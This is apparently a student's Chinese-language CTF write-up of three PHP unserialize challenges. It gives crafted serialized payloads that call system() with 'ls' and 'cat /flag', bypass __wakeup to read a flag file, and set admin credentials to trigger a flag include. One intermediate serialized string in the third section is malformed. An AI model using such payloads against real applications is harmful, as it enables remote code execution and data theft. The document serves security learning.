寒假任务三
NSSCTF
CTF中的序列化与反序列化 - 码农教程 (manongjc.com)
1)[SWPUCTF 2022 新生赛]1z_unserialize
代码:
<?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct() { $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>
分析:
直接将 a 赋值为 system ,也就是将 this->lt 赋值为 system ,那么 this->lly 就可以赋值成任意命令,造成 RCE。
此时代码构成为:
<?php class lyh{ public $url = 'NSSCTF.com'; public $lt="system"; public $lly="ls"; } $demo = new lyh(); echo serialize($demo);
输出结果:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
payload:
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
将 ls 改为其他命令,如 cat /flag
就可以查看 flag 文件(注意字符串改变后,前面对应的数字也得改变):
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
2)ez_ez_unserialize
代码:
<?php class X { public $x = __FILE__; function __construct($x) { $this->x = $x; } function __wakeup() { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); } else { highlight_file(__FILE__); }
分析:
创造类x,定义了一个魔术常量x为FILE(当前文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为FULE,destruct函数高亮x常量,如果传参x存在反序列化,否则输出。
看到提示flag在fllllllag.php中,将代码复制,删掉没有的,加上x序列化,得到:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
由于要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过
所以将 O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";} 修改为:
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
即可绕过
3)ez_unserialize
本题打开后发现没有题目
此时可以联想到robots协议,所以我们尝试访问robots.txt
发现还是没有代码,但是又给了我们一个链接,此时我们访问该路径,即可得到本题代码。
代码:
<?php error_reporting(0); show_source("cl45s.php"); class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p']; unserialize($p); ?>
分析:
链尾(就是最终我们想要利用的地方),在echo $flag 并且include了flag.php
往上看,发现只需要满足 (this->admin ==="admin" && $this->passwd === "ctf")
即admin="admin",passwd="ctf"
再往上看,发现执行这条语句我们需要触发__destruct()函数
__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。
这里还有一个__construct()构造函数,它是在实例化一个对象(即new时)会自动调用。
因此我们应传入反序列化后满足条件的变量p。
对wllm类序列化得: O:4:"wllm":2:{s:5:"admin";s:6:"passwd";}
应传入 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 得到flag。(这部分其实没有很理解,尤其是对wllm序列化这部分)